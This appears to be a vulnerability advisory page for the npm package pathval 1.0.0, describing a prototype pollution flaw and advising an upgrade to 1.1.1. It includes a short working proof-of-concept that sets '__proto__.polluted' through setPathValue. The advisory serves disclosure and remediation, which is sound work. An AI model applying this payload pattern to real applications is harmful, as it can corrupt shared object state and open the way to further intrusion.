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pathval@1.0.0 vulnerabilities

Object value retrieval given a string path

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Direct Vulnerabilities

Known vulnerabilities in the pathval package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

pathval is an Object value retrieval given a string path

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

var pathval = require('pathval');

var obj = {};
pathval.setPathValue(obj, '__proto__.polluted', true);

console.log(polluted); // true

How to fix Prototype Pollution?

Upgrade pathval to version 1.1.1 or higher.

<1.1.1
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